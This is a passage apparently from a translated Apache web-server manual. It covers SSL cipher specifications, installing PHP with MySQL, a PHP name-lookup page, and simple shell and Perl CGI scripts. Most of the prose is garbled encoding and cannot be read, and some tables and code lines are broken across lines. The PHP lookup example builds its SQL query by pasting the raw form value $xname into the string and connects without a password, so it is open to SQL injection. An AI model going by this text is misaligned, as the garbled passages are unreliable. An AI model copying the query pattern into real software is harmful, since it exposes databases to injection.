 M�# I(Q(��,�. ��Y�>, _, �w.�
(9 )�(Tag){� 

SSLv2,��!���_, �SSL�V>. @,R
SSLv3,��!���_, �SSL�V>. D,R
TLSv1,��!���_, �TLS�V>. ?,R
EXP,��!���_, �!�2�^ �
EXPORT40��_, of��!�2�^ �7R	 ���
EXPORT56,��!���_, �!�2�^ �SQ	 ���
LOW,��!���_, �� �	q]��� J Ep)��!�2�^ �� �DESq! �(
MEDIUM,��!���_, �?@T	���
HIGH,��!���>	 ��� �� �p _, 3DES, n2�-��� �#��p.
RSA,��!���>	 ���Up M2�X! �� �p _, � #RSA, n2�-��� �#��p.
DH,��!���>	 ���Up M2�X! �� �p _, �2 #"-�(, n2�-��� 
�U��#��p.
EDH,��!���>	 ���X! �� �p _, Up M2��2 #"-�( 
�U�Up �	� �d�, #

(Ephemeral), n2�-����#��p.
ADH,��!���>	 ���Up M2�X! �� �p _, �2 #"-�( J���� 
�U�
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(Anonymous), n2�-����#��p.
DSS,��!���>	 ����� �� �p _, "���& ��DSS, n2�-��� �p#��.
NULL,��!���>	 ����w._, )�#	 _, �

�" 0. 
)�� , ��!  � �	 #�.�����#.�0�"  p�! E� �	 u�     � n#u& ycipher-spec   qu0! � �  #u��2 B.
���� #�!�X/ ��#.�0:

none
� �	 � _,�, ���%� �>�p#�.

+
� �	 � _,�, ���%� �>�p � #�UY� B], �! � ��.��� 2 �, �s	�  �>�#�p.

X
� �� � _,�, \x$ �>� #�p )�p ���%� B	�d ��#Y	��� )2.(

!
� �� �;,�p � _,�, \x$ �>��p #). )2�p ���%� B	�d ��#Y	��>.(

"��	 n2�� n� z� n#��0, ����. �>�" ���2 �� n2�-��� openssl ciphers –v��� :
$ openssl ciphers -v 
'ALL:!ADH:RC4+RSA:+HIGH:+MEDIUM:+LOW:+ SSLv2:+EXP'
NULL-SHA                SSLv3 Kx=RSA      Au=RSA  Enc=None      Mac=SHA1
NULL-MD5                SSLv3 Kx=RSA      Au=RSA  Enc=None      Mac=MD5
EDH-RSA-DES-CBC3-SHA    SSLv3 Kx=DH       Au=RSA  Enc=3DES(168) 
Mac=SHA1
...                     ...               ...     ...           ...
EXP-RC4-MD5             SSLv3 Kx=RSA(512) Au=RSA  Enc=RC4(40)   Mac=MD5
export
EXP-RC2-CBC-MD5         SSLv2 Kx=RSA(512) Au=RSA  Enc=RC2(40)   
Mac=MD5  export
EXP-RC4-MD5             SSLv2 Kx=RSA(512) Au=RSA  Enc=RC4(40)   Mac=MD5
export

� ��&�t �����	�cipher-spec �>!�X/��:
"ALL:!ADH:RC4+RSA:+HIGH:+MEDIUM:+LOW:+ SSLv2:+EXP"

S�K�
SSLCipherSuite RSA:!EXP:!NULL:+HIGH:+MEDIUM:-LOW

��   B,�p �>��_,�   8�1 RSA  2 � "-�(   ��u	 
u�U��SSL    M��#u  2I(I   � I(T  n2�� 
��� n#&.

 M�# I(I .��_,� 8�1 RSA��	 �SSL
Cipher Tag Protocol Key Ex. Auth. Enc. MAC Type

DES-CBC3-SHA SSLv3 RSA RSA 3DES(168) SHA1
DES-CBC3-MD5 SSLv2 RSA RSA 3DES(168) MD5
IDEA-CBC-SHA SSLv3 RSA RSA IDEA(128) SHA1
RC4-SHA SSLv3 RSA RSA RC4(128) SHA1
RC4-MD5 SSLv3 RSA RSA RC4(128) MD5
IDEA-CBC-MD5 SSLv2 RSA RSA IDEA(128) MD5
RC2-CBC-MD5 SSLv2 RSA RSA RC2(128) MD5
RC4-MD5 SSLv2 RSA RSA RC4(128) MD5
DES-CBC-SHA SSLv3 RSA RSA DES(56) SHA1
RC4-64-MD5 SSLv2 RSA RSA RC4(64) MD5
DES-CBC-MD5 SSLv2 RSA RSA DES(56) MD5
EXP-DES-CBC- SSLv3 RSA(512) RSA DES(40) SHA1 expo
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SHA rt
EXP-RC2-CBC-
MD5

SSLv3 RSA(512) RSA RC2(40) MD5 expo
rt

EXP-RC4-MD5 SSLv3 RSA(512) RSA RC4(40) MD5 expo
rt

EXP-RC2-CBC-
MD5

SSLv2 RSA(512) RSA RC2(40) MD5 expo
rt

EXP-RC4-MD5 SSLv2 RSA(512) RSA RC4(40) MD5 expo
rt

NULL-SHA SSLv3 RSA RSA None SHA1
NULL-MD5 SSLv3 RSA RSA None MD5

 M�# I(T .��_,� 8�1 2"-�( 
�U���	�SSL
Cipher Tag Protocol Key Ex. Auth. Enc. MAC Type

ADH-DES-CBC3-SHA SSLv3 DH None 3DES(168) SHA1
ADH-DES-CBC-SHA SSLv3 DH None DES(56) SHA1
ADH-RC4-MD5 SSLv3 DH None RC4(128) MD5
EDH-RSA-DES-CBC3-
SHA

SSLv3 DH RSA 3DES(168) SHA1

EDH-DSS-DES-CBC3-
SHA

SSLv3 DH DSS 3DES(168) SHA1

EDH-RSA-DES-CBC-
SHA

SSLv3 DH RSA DES(56) SHA1

EDH-DSS-DES-CBC-
SHA

SSLv3 DH DSS DES(56) SHA1

EXP-EDH-RSA-DES-
CBC-SHA

SSLv3 DH(512) RSA DES(40) SHA1 export

EXP-EDH-DSS-DES-
CBC-SHA

SSLv3 DH(512) DSS DES(40) SHA1 export

EXP-ADH-DES-CBC-
SHA

SSLv3 DH(512) None DES(40) SHA1 export

EXP-ADH-RC4-MD5 SSLv3 DH(512) None RC4(40) MD5 export
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��� TU,
]PHP

PHP"q�   �� n2��!�" n� 
�� ��	 �  �1���,�.�	 �u��     �u�� �� �u]! .PHP   ��  2�uX��  �uw�� N

 , n2�-����      2 � �����2 � #�p  2����HTMLXY!�  u, ����. u"#.PHP� u"         � �u���a �u	 � �up 

#�,����, J�s.� �#�2 .

PHP��	� �2�� �  ����w	� �Y��! 2 �"��� n#& 2�s .��X, )� n2�� �].� �	 C  #u$ �u! � �
Perl	    )� � n2���	� >	 ���  �,�.�	 �� �."  )�> , n2���2��� .PHP  #  ���X>. "  �� n2�	 #�q��p�

�2�� �� )� ,�_� )�_"��! ���, t��p � #�#�2.
 , �}. �	�� 2�#Y! #�"2�����#0���,� ��� ��u	 �PHP 2�2 2�u �  . �Vu>. �u��d  u� �� B

7,@,@ �_	 m�1�    �p #��&�2  � ��, �	�  , n�� � 
�2�2   �p   ����2��&�.��     ��s, �	 �  ��u���
  �� #��p �� � .�" , 
�   #&�	 n#��2 �#0� #.��! �� ��   ��� ^�!�����  �� n2�-�u�� 2 �u,   �� �	�u� 

�� n����&�	 n2�p B�/� �#�"�_	 ��¡>, 
�2�	 #���V. .
   �p �q� ��� 
q�,�   �p #  ��#p jd�� 2�CGI0V	 �  �]-u^ �� HTML n#u&     �u	 �up #u.�

�	�p  , n2����� �  �2�& n��1#	 2���� ��� 
q�, ����_�"	 ��	 �p �� )� �� t" �#" u, 2���� #u.� .
PHP� "n2�� E� #d 
. b��� � �>, \x$ �	�p �	 )2����� �� BXd � ��#p�#�p.
WpXWX dU9PHP

  y�.PHP>	�  ��� n2�� � .��	� � "    �	 �p 
net.php.www://http   tV	 downloads   � �u��
�1�" �V>. 
PHP � 2"��. ����" 2�#$ )� n2�0� �V>. ~��Y, �p #2MB��� .

     )2�p ��	 �� F�n#.���   �n2�0� n#.���INSTALL   ��. �Y���, � �"# .�"  
n#.���    � �1�� �2 
��, 2���0�#�p:"q���	 ��� �1�� "���.�������� �(DSO)�. � )� �, �p ����1�2 � E"�w�

 � �1��"   ���, ��V�.� �p ��> .    �1�& 2 � )� �1�� �� F�/usr/src/php/php-4.0.1p12  ��ud 
,��2�  E)    �V>. n��& ��X��PHP    #&�	 :��-�, ��� 
q�, (.  �p ��� �   ���� 
�, �p #�  �2 � " #

 � )� ��� �!n2�p �" �� � #MySQL, n2�-��� ��p�)� �#� ���2 n��"�p 2�� � ��#:
./configure --with-mysql --with-apache=../../apache/apache_1.3.9 --enable-
track=vars
make
make install

 )��p����� �1�& �	�� ���2 � ��� "�p �� � � ��#:
./configure --prefix=/www/APACHE3 --activate-
module= src/modules/php4/libphp4.a 
make

�"   ���2 
httpd #  "#� , �      2 � )� �p 2���/usr/local/sbin/httpd.php4 9p � , � u�p�E .
 ��	 F9�� � � #u�	�q�PHP n#u.���/usr/local/lib/php.ini  �� u"��" �p t u�# .� u"  
 n#u.�����

1 PHP: Hypertext Preprocessor
2 Template
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�����   ��2 �p ��� � � �#�	�q� � �t           i! � )� �u!2�� �� �� ��� J�~ � n2�	 ��� u�� �2 � u�# .
����� #�� �� �� ��� ��1 �� �	 �p PHP	 �, ��&� ��0��&" n�	�2 � )� #.��V	�# .

 ~�$n#.���� �#�	�q�� � "��"��. t�" #) �	site.php�p n�w. �#(:
User webuser
Group webgroup
ServerName www.butterthlies.com
DocumentRoot /usr/www/APACHE3w/APACHE3/ site.php/htdocs
AddType application/x-httpd-php .php

�" 
" zn#.���>	 )�,�� � 2 n2�� �… /htdocs���:
<HTML><HEAD>PHP Test</HEAD><BODY>
This is a test of PHP<BR>
<?phpinfo( )?>
</BODY></HTML>

�"�2�  o1 )��� 
�"��� :
<?phpinfo( )?>

,�w���, �� � �p �&X!�, �]-^ �2��n2�2 �� ���], � oPHP��! �, #�#�p.
WpX\XSite.php
 � 2"   %�! 
�% tV	 
�  � , )�0.�2��  , �.�w� E�!��   �	 )n��1��    2 �s�u>  )�q,� ��"  n�uw
 n2�2,����2�2 )��	�p.

  �].PHP  . �V� �   �u���� � �>� �� )� php.mysql.ref/en/manual/net.php.www://http
2 B	�d"��� ���.�� "��2 n2�2 n�w� �2 n��$���  :xname � sname.
����   �]-^ 
index.html  , n#.��1 �&  ��	��	 � 2�"         2�#.���� J�� � n#& �� � �p2�1 �< �	 


HTML��! � �, #�#�p:
<HTML>
<HEAD>
<TITLE>PHP Test</TITLE>
</HEAD>

<BODY>
<form action="lookup.php" method="post">
Look for people. Enter a first name:<BR><BR>
First name:&nbsp <input name="xname" type="text" size=20><BR>
<input type=submit value="Go">
</form>
</BODY>
</HTML>

   tV	 2action �J�� ���/, �V0,��p� �p E�0��	 J���  �u	 lookip.php ��u	�  ��u � 
, n2�2�2�& .�" 
n#.��� B,�& ��2��&�.PHP �	 o��� B,�& MySQL, �#&�	.

��2��&�.� :�^ �	 ", ��#&�	:
<HTML>
<HEAD>
<TITLE>PHP Test: lookup</TITLE>
</HEAD>

<BODY>
Lookup:
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<?php print "You want people called $xname"?><BR>
We have:

<?php
/* connect */
mysql_connect("127.0.0.1","webserv","");
mysql_select_db("people");
/* retrieve */
$query = "select xname,sname from people where xname='$xname'";
$result = mysql_query($query);
/* print */
while(list($xname,$sname)=mysql_fetch_row($result))

{
print "<p>$xname, $sname</p>";

}
mysql_free_result($result);
?>

</BODY>
</HTML>

 #pPHP	 � 
)�0.���?> �<?php, ��d���2�.%�! � #�.�, :�]C	 � 
*/ � /*, ��"#.
��,�����	 2�#.���� ��� #�!�X/ 
�&�2�	 :
•   �	 M��!�MySQL–   2 "  Yd�� n�w	� z�  ���V	 ��� 
q�,�  #"   u���2 M��!� z�

��	���U ���=�� �� 2#s, M��!� �	�� �� ��� ��d�	 �  � "#.
•.��1����"�� z" n2�2 n�w 8�1–� 2 " �s�people
• �1��"�� �� �  � =�� z"n2�2 n�w:

select xname,sname from people where xname='$xname'
• �  � =�� J�s.�1� ���. n�� 2 �s"i�, z� �($result
• Z��2��$result��	 ���2�p )2�p �V0,���f,�
• ��1 n2�2 o1 �	 o1 `���
• )2�p 2���$result��	 �)� �}��$ )2�p 2��� 

��. �]-^ 2 �" t� :�X/", n#��0, � ���p�E:
Lookup: You want people called jane
We have: 
Jane, Smith
Jane, Jones

���],� i�, �  �$query d2 �   !�X/ )��� �	�0, �f�  p ���   �	 2 � u" 2 # u],� oMySQL 2�� 
�p�#.�  � =�� ����� �p ��� )� � �! B	�d ��q. ��"2�p #���1 �p �:

select * from name where xname='$xname'
����	" #n��$���i�, ��p �V0, � �� �! #PHP�2 �#f, ��.� �	 #.���	 �#�p :

select xname, sname from name where xname='$xname'
� ��X��" 
�  � =���M��  �	 � � #p���n#�!�, �2�2 J�s.� )��!:

...
$query = "select * from people where xname='$xname'";
$result = mysql_query($query);

/* print */
while($row=mysql_fetch_array($result,MYSQL_NUM))
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printf("<BR>%s %s" ,$row[0],$row[1]);

mysql_free_result($result);
...

,�w���  ���V	 �p �     �p �� � � ~�	 #p E�  �E    �� �	 M��!� Bq0, ���!"  ��� n2�2 n�w . o1
�"����� �� ��PHP��� n#& �&�.� :

mysql_connect("localhost","myusername","mypass");
 ���V	 ����   � y�. g	��, E� &�, � �>! 
�         u��Y, M�� Bu�� �u� 2 �p �  2�up "  J�us.� �E

�2��	 �E" #� ���2 ��"�p n2�-��� ��E:
mysql_connect("localhost","webserv","");

 �p���&�1�. J�"� #�"��! � ��2�p #:
Warning: MySQL Connection Failed: Can't connect to local MySQL server through
socket '/tmp/mysql.sock' (38) in /usr/www/APACHE3/site.php/htdocs/test.php on 
line 7

�"      �U/ �	 ��� 
q�, 
    �p #&�	 )�DNS��	�    n2�uX. =��u�2 2 =2� )2�up �V0,
��� . gX< :�#��>,PHP�����-U�V, ���	 �� j� "2�2 2� � Bq0, 
:

•� n��2 n��& )2�p �V0,�t���:
mysql_connect("localhost:3306","webserv","");

•�"��" t/usr/local/lib/php.ini��	 �� o1 )2�p ���%�"�:
mysql.default_port = 3306

•� o1 K2" 2 �n#.�����#�	�q�:
SetEnv MYSQL_TCP_PORT 3306

 � ��X���  �"  ��&� �� z�   2�q. �p ~�	  !���  ��p �.��VX&�1 �     � #p �Y�d �� ��� "   n2�-�u�� �
�p�#:

mysql_connect("127.0.0.1","webserv","");

Wp X\XWX���y<
 ���" z��1��]. ��& yq!�, " �;k, �# )2�p ���%� �	" z} �� F�  o1printf( )� �	 ��� J�" �

���1 � ��, ����, 2�#& #:
Parse error: parse error in /usr/www/APACHE3/site.php/htdocs/lookup2.php on line 
25

  ����1 ���! ������ �]. � . �  �	 �p #��>"      �u�.� �u	 #       �p J�u. �us�� � �u�2 u�# .  �u���k, 2�
Yd���  �!����1 �	 ��� 
q�,�n���� n#��p�!��& � ��,"# .PHP �	�u0, �]. �  �u	 Perl  �u��� 
,�#�p:

mysql_connect("127.0.0.1","webserv","") or die(mysql_error( ));
mysql_select_db("people")  or die(mysql_error( ));

 j	�!die ( )��,�� � n2�p `�� � "Y	�! �� �  �p", `�� � ����� � ��& z�p n2�p �� � #�
   , K�1 F9� ��&2� .    �.��. )���/ �	������V	�E �� ��" n2�2 n�w��    #u�.�, people2     2�u � �up 

�p �  � =�� �2�#.�E j	�! �mysql_select_db ( )    � n#u& �u ��, �u>q& �	 0 u,�	 � #u.�2�� .
����� � v/�	 
�die ( ), � �p 2�& j	�! 2�1my_sql_error ( ).��1��� � �, ��p# .�" j	�! 

��1�MySQL �]-^ 2 �HTML2�p #���1 K2 :

Lookup: You want people called jane
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We have: Unknown database 'people2'  
 � �	"���V. ��� 
q�, M�$ 
�� #"� 
� :�]-^ 2 ��,�HTML��	 �#	 2����   #.�u& �qu&� .

�"       ��X�� � ��� 
q�, �p 
 � n2�#], �� K�1"��� ���p 
 .  �	 �u^;1 �u< �	 u" # u"i�, z u� �
������    J�. �	 $error_level   �	 �develop"  �live �2�#f, � �p �# .   �	 ���develop�2�#f,�

�p�  �#   j	�! ���1 �X��die()2�p #���1 �� � � . �	 ��� live�2�#f, � �2�& !2 j	�"�w�.��1��� �
� �p n#&�� �.�	2¬, J�"2�p #���1 `�� � �:

We are sorry that an error has occurred
� � �,��    2 � n#.��� � "�w.2�#�  2����� �&�. #���1 .   ���V	 ��� 
q�, �  � �p #�   �u	 J�
 j	�!mail()��	 �2�& n2����� ��& .



>T

���
�� TU,:
CGI � Perl
CGI"   �	 �!�X/�    ��0, n���2 o��� 3"q�  #d �� "�� �! "  ��	 ���_	� 
�!�   n�uw	� M�u�   �u	 �u�

         )���/ �	 E� ���� � ��� �,�.�	 g��,    , ��& �	 {��& ��f.� 2�  .CGI  2�#.��u�� o����  � 
	�  
  ����w	�  �� �,�.�	 �� 2�	�p �    u, �u��� �     � #u�p    
�u&�.  �u� �u,�.�	� 2�	�up �  )�#u	 � 

�q��2�    2�1 2 �����   )���  , � #�p  .  �����CGI  , � �  ��.�	� �	 )��!� .���.�� �  �� �&�. �
.�	��     , n2�-��� 2�, ��X��� �p � � �  �2�  )�	�Perl ���  .�"   B�� 
  �	U	�d�����CGI , �   2��2��  �
����� n2�� �	 � )� Perl, b�& �#�2 .

WWXWX9����CGI
n�w	���� >	 � �p ��     )�#	 #�.���	 �p #��>� ��2&�.�� ��#��2 �,�2� 2�1 �p �	 . ������V	 u� #

 ��0, �	�   &�	 ��&�2 B,�Y! �   � #" �$ �� 1 �U�   �U�  n2�� "�d� J;��U/�,���	 �2 �� �" 2#s, �#
 �q0�, ��&"E") ��� �	� p�p �    � 2 �#Y	 �p "    ���1 )� �	 B�� 
�  xu� )�q,� �1�2�� E" �u�� � (

.�      2�2 #p o1 #�� 
�&�. �	 �� .��2��&�.��   �~��Y,  ) �� �.��0 (>-!� , ��       �u,��/ � #.�u&  ��
�,�.�	 
�&�.����� � � �� �! ��.� n2��#��>� �! .
�p �#�	� 2���-, �	 �U^� E���2��&�.�.">��� � � �, ��.� ���2�� "E.

WW XWXWX	��	 � H� #9�=��!� #9��
"  z��2��&�.�/��s,��  �����2 ��  ��	 � J�s.�   ̂ ��1 �	 � �p ���  o��!�.�"�  u, ��u � �

2�& .��	� 
&�     yU�, )#& �!���.�"� 2�1     )�,�� o1 2 � �" � z"��"       � n2�up ��u	 � �wu0
� ���1"�p 2�� )� 2 � ��#:

#! /bin/sh
echo "have a nice day"

n#.��� )���/ �	 � fred1� � � )� � n2�p n�� ���2 �	"�� � B	�d ���. �"#:
chmod +x fred

� ���2 �	 � � )� F9�"�p �� � ��#:
./fred

�1 2� ��� J�have a nice day, n#��0, �2�& . u,�.��!  u� # �u�2 ��u&�. �u��-,  u�#�
��	">� �p #�	��-, �� 2 ��& )��	�p �#&�	 #.
WW XWX\X=��!� #9 � ������

��2��&�.��      -, �� 2 ��� ��d �p �  �	 �#&�	 #"  ���� o��! #�    2�u& ��u �  .    � 2 �u�q. �2"  �us�
2�2 2� �:
? .�<��� �� )��" �p 
�.�,�� B,�/ ��2��&�., �� � J�_� jd�, 2 � �#�p .
@ .�������	��� � ���2��&�.� ��2 �#�	�q���� n#& .

]]X]X_X]X=��!� #9	��	 ��
  &�	 ��&�2 �<�1 �	� �p #��2��&�.CGI�	 "2 �� #" n��#�.�,��  #u&�	 ��u � B	�d B,�/  . ��	�u�	"


��	� �,�� " , �t�.��!� � )� #\�< ���	�p ����& ����� �p ��p �	 , ���. �� � �2�	  u�"# .  �u��

1 Common Gateway Interface



>>

 Uq0, �#0. �� ��� �	 ~��Y, �p 2�2 2� � ���,����1 �" 2  2 )� M2�Y, � �	�p \�<n#.���-
���� "�w.2�#�, �V0,�2�& .M�k, )���/ �	:

You don't have permission to access /cgi-bin/mycgi.cgi on this server
WWX\X����+�e�����

uuUp Z� �2 �� �uup �uus.� ������uu1 n2�-�uu�� � �2 �2�uup En#uu.���� �#uu�	�q����uu1 ��uu&�2 E :
…/conf/http1.conf  � …/conf/http2.conf . ��2��&�.go#.�.�0.1" �2, ���2�.

WW X\XWX=��!� #9 �� cgi-bin
  �� ScriptAlias  2n#.�����#�	�q���	�   �	 n�&�"    
,� B], z ��� K�1� ��  2�1  n2�-���
�p�# .�"  
  ��U  v/�	 �p���   �� ����2� ����$� �     ��#up �u	 )��q	��1 �     � ��u& U]! u�B   ��#up 
,�2�& .»�,��  �� �	 �� �-�1� �U3«�� ��p ����" . � �>��� )� n2�-��� �	&����2 "  �uw u,�-

-, #.��!�#&�	 #.
��	� �X�� � 12 ������� �� � ���2��&�.    ]u^ Bu], �	 � � )…/cgi-bin (�	 u" # n#u.���

…/site.cgi/conf/httpd1.conf� g	��, �"i! ����2 ��E:
User webuser
Group webgroup
ServerName www.butterthlies.com

#for scripts in ../cgi-bin
ScriptAlias /cgi-bin /usr/www/APACHE3/cgi-bin
DirectoryIndex /cgi-bin/script_html

WW X\X\X=��!� #9 �� DocumentRoot
 2 Z�"     �p ��� )� �w��2��&�.   , 2 � � )�n#.������HTML�2 ��d �# .   u�d� �u��! �u�X���

�"   J�s.� � �p 
 �2 �    �. �	 �;,�p �p #"  )��#�>��2��&�. �<� ��� �2 )��"# .    uUp �u< �	�   �u��	 
   �� ���"   ��	 �.���#  �1�& z���2��&�.  ����. n2�-����"# .� u" _, �2 �up 
 u"2�2 � :  �u>V.
 �. �q.�"  )��#�>n#.������HTML�.�   d�-!� �< �	 #�.��!�"   ��#�/ �  �	n#.������ �� � �"   2 � 

      ����-. y �, � n2�2 ��d �� �12� ����$� � #.2�� .   J�2  ��	 �p� � ��, �  ��u��$� 
�    2��u�� � 
 �V� n��1#	 , �!�2�& .    )2�p �_s, �	��2��&�., ���������p )��!�	 ���0��� M��/� ��.� 

2�p.
�"   ̂ �! ;^� Z� 
� �. ��       u&�	 �uXs, �p )� �w, �2�&�# .       ��u	 M�u$ �u� �u	� �  u"   �up 


mycgi.cgi �1�uuuu& �…/site.cgi/htdocs ��uuuud uuuu,�uuuu�2�E .n#uuuu.���� �#uuuu�	�q� �
…/site.cgi/conf/httpd2.conf� :�^ �	 "� ���:

User webuser
Group webgroup
ServerName www.butterthlies.com
DocumentRoot /usr/www/APACHE3/site.cgi/htdocs
AddHandler cgi-script cgi
Options ExecCGI

AddHandler   � ��	�     �X�� )2�p �V0, n#.������    #.�>� �	 .cgi    )�u�� �pcgi-script
  ���� �p n2�-����# .�" 	 
 �Y, )�#�   ���� �p ��� �n#.������    #.�>� �	 .cgi    )���/ �	 � n#u.���

1 "Security by obscurity"
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�� ��", �}. 2���2� .������	 
" #Options ExecCGI. �  u� ��. ���u%� �� u�"# . ��u	� ��u � �
������ ���2 "��. �� � � ��"#:

./go 2
� �	" 
��2��&�. �	 =2�http://www.butterthlies.com/ mycgi.cgi,�   =��u�2 )��u!
�&�2.

��	 ;Y���,�� " t��2��&�.  n2�u� mycgi.cgi �2 Bu], �2 2 � u"E :…/cgi-bin ��u	 �
     � M�� Z� )�,��…/site.cgi/htdocs��	�   J�2 Z� )�,��  .�"  
��2��&�., � � �� �	 )��!

.�	�� #�.�, Perl" �C�&�. .
��2��&�.mycgi.cgi� �	�0,"��� �:

#!/bin/sh
echo "Content-Type: text/plain"
echo
echo "Have a nice day"

WW X\XaXPerl
  �~��Y,Perl  ��! n���� "��Y�".��    � 8��1 �	 � Fq�  Fp��    �$� �	 � 2�2 2� ��    yu�. B	�d 
��� .��� , �  )��!Perl  f�>, � �   �� ���org.perl.www://http2" 2�p ���.Perl u"  �u���� z�

. o1�	�2�2 _ . ���2perldoc perldoc� �p n�]. u"   u, b�u& � �u���� 
� #u�2 . ��u	�  M�uk, 
perldoc –f print j	�! b�&print �, )�0.� � #�2perldoc –q print ��Up"print" 2 �Perl 

FAQ, �s�>  �#�p.
" z��2��&�. n2�� Perl� :�^ �	 "��� �:

#! /usr/bin/perl -wT
use strict;
print "Hello world\n";

  M�� o1 �>-,Perl_� �	 � " ��–wT, �	 � �p #�p  2�� l2�2 � n2�2 )�u0. � ���#u0�� � 
��	�"  
���n2�2��� n2��� 3��	� , �#�p .n2�2���n2���  E �u�, � n��1#	 )��	�p \�< �� 2��
,�  2�&    ��#p B,�& ��� 
q�, �� 	�V, ���	�   �q	��1 � ��-. � #&�	 . ��	 �  	 :�/;<� �  ��u0

  ��uu�p �uu	Programming Perl ouu��! Larry Wall �Jon Orwant � Tom Christiansen
)  :��0�.�O'Reilly ( ��. �Y ��,�"# .    �p �s.� ����2��&�.  2�� �, �   � 2 �2�#. "  _� �us�"   �u�–T 

 . J�~� �� ��>�  ��� ���	    :2�/ �p�#   �� �up �  �� �u0  �p n2�-�u�� )�  u�# .    vu/�	 Eu� J�2 ou1
�V�������� 	 ���0�    i�, �� n2�-��� 2 � 2 � ���", 2��, �w�  ��u	 �up 2�&�  
�u&�.  �u�2-
��&�.������ J�~ �� .��!�p �U�  E� J�� o1 �, `�� �]-^ 2 � �#�p.

  J�u. �	 � )� �
�&�. �� F�hello. pl1� u�    ��u�2 �u	 � n2�up n�chmod +x hello.pl � )� 
�� ��"��. �"# . ���2 �	./hello. pl, �.��!���. �� � � )� #�"#.

,�w���   �p ��2��&�. #  "  , � #��.">�  #"  ���2��&�. #d "��  i! � �� , ���2 u�  �#���  �u0
��	�����1 G0p ��]. ���. �� � ���2 o1 2 � )� �"#.
WW X\XbXHTML

��2��&�.��     �&�. BXd tV	 2 �p �  �U�  ���! �E��   , `�� �]-^ 2 n2�� �< �	 � �#�p . 2
��2�	�p� Yd�� �,����1�  � )��, E���n#�!��2 )�0. �	�p ����, �]-^ 2 � �E .��	��  u" 


1 Taint
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  �p�	"  # ��1�   ��#p �	 � �HTML��"     �	 � n2�p t ���-	 ����,�E.    yu��d HTML   )�#u�� 
 . Bq0,��> �� �    �	 M�$ �� �	 "   	 � )� #���,�"#.   �	 "  &�	 ��&�2 2��      �u�� 
q�, �p # �u���1�

�_ �    #p 2 HTML  �p 2�& v/�	  ��1�  	�u1 �u	 ����, 2 � �u�. " 2�u0. n2�2 t. ��	�u�	 " 

 ��1� �� � ��1� �	 �0"�V>. 
���������, �  #u�.�, \��Y, Firefox � IE u��� ���.  u�"# .

,�.��!�   �u��_	� �� #�  u��� �    #up HTML    #u�.�, WebLint) -cgi/edu.uiuc.ews.www://http
weblint/bin (" �HTML. Dr)/RxHTML/com.imagiware.2www://http (�p n2�-����#.

WW X\XcX	��	�=��!� #9��� �+ �
  )��p� �� � )�,���2���&�.  ���� �	 � � � ��� n# .  �>V. �u�2 ��u&�.  uUXd � ��u	 � �  `�u� 

�� 2���� �>�   �p    ��.� J�."Anne"  i! ���� �� , ���2�E .�"     � �Vu>. 
…/cgi-bin/script_html
,�,�.�E.

#! /usr/local/bin/perl -wT
use strict;
use DBI( );
my ($ref,$mesg,$dbm,$query,$xname,$sname,$sth,$rows);
#print HTTP header
print "content-type: text/html\n\n";
# open a database
$dbm=DBI-
>connect("DBI:mysql:database=people;host=localhost",'webserv')
    or die "didn't connect to people";
# get it back
$xname="Anne";
$query=qq(select xname, sname from people where xname like 
"%$xname%");
$sth=$dbm->prepare($query) or die "failed to prepare $query: 
$!";
# $! is the Perl variable for the current system error message
$sth->execute;
$rows=$sth->rows;
#print HTML header
print qq(<HTML><HEAD><TITLE>People's 
names</TITLE></HEAD><BODY>
<table border=1 width=70%><caption><h3>The $rows People called 
'$xname'</h3></caption>
<tr><align left><th>First name</th><th>Last name</th></tr>);
while ($ref=$sth->fetchrow_hashref)
    {
    print qq(<tr align = right><td>$ref->{'xname'}</td><td> 
$ref->{'sname'}</td></tr>);
    }
print "</table></BODY></HTML>";
$sth->finish;
# close the database connection
$dbm->disconnect;

WW X\XjX���� ��HTTP
"q�   ��   �^��/U^����2��&�.      �. E0� �	 E� )�#�� �p �� u"  ��u� #"  #�HTTP      2 �up �u�� 

�#�	��1 ��  ���n#& ���a � n2�2 {�. �� � ����,���!� �, �X1�	 �2��� .
"  z��2��&�.CGI���"    ��! � �.#	 � ��#�� , #�#�p. � ���_�   ��� �� BXd �  ��1 o1 
�)  u" �

d2 �< �	�g �!CRLF CRLF (��� �_ ", ��& �	 #�� � 2�, ��>], �.#	 )� �� #Y	�2�&.
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��� ���1" �	 #�LF" �CRLF  , �#�#.�& .
�.����CGI)  !�^ 2�     , n2�-��� )� �� �p ��p�#( ���� ��  J��!���"��#��       _u  �u	 � J�~ 

2�,�     ��� 
q�, �p    2�1 o��!��2��&�.   , � �2�& M���p�#����� .� u"  ��u� 
"   ~�u�Y, #�
�� �>!�X/:

print Content-Type: text/html\n\n";
�  �	 ����HTML, ����1� 
�, #���Y,����-	 �� ���2 �� #"�p n2�-��� ��#:

print "Content-Type: text/plain\n\n";
�p � �!� �p #\n J�2 )newline 2 C � Perl (���.����� ", �V0, � #��#�p .

���V	 ���� # �	 � �	�p ����,URL2 "�w��p \�]�, �#� o1 �"��. ���%� � ��"#:
print "Location: http://URL\n\n"

CGI , ���� �.�� �� #�.��!"�X�Y, #�� � ��!�#��p # .U,�p ������ ��u� ��"��#��HTTP
uuuuuu, ��.��!uuuuuu� 2 # tuuuuuuV	?7 #�uuuuuu� 2616RFC)uuuuuu^�!� G1.1HTTP (

txt.2616rfc/rfc/org.ietf.www://http	 �	��#.
WW X\XlX� H�,�M�+��� 
	 7�	

 >	 2���   �� n�w	����Yd��� . ��  ��  �	�p �� n2�2 
���� �	 �	 )2����� � ��u���  �up J�us.� � �
��  �2 )� "E .�"  
Z� ���� � .���q�� :�s!���� z .HTML 2�#.��u��� ��u	 � �  
���u� 
2�2    , E���� �	�p �� n�#�p :J�� .  ���Method='POST' ̂ �! 2�   -��� 2�, J�� G  � ��d n2� u�2� �
n2�2���   J�� 2 n#& 2��  �1� 2 �  ���2��&�.  , ��d ���    2 � 2���2��&�. , �   )#.��1 �	 )��!
 ��stdin ��2 ��.� �	 "��� .

my ($data);
$data=<>;

�uu�2�	�p 2�uuYd�� � �� �uu��	 �uu.�����uu�� #uu�.�, n2�uu,� �uu.����CGI)2 Buu	�d" �� �uu��
org.cpan://http  (��	��X��� o��� 	� 
��2��&�. � n2�2��� J�� n2�-���2�p .

  , �}. �	�  #�    ��� ���	 �p��2��&�.��  �p  J��HTML  ��! � � , #�    )��� � #�p��2-
��&�. � �#�	�q�  n2�2 �w&��2�� ���  #&�	 J��  . ~�	 2� �u�2 ��u&�.n2�2 �u�� 2�� �  u��	 �
n#&      , Z��2�� 2� � :�^ 2 � �    �]-u^ 2�u � J#u/ :�^ 2 � #.�&HTML ��u$ � J�u�
n2�2 ����!�, #�2�&.
WW X\XmXI�������3� �y�

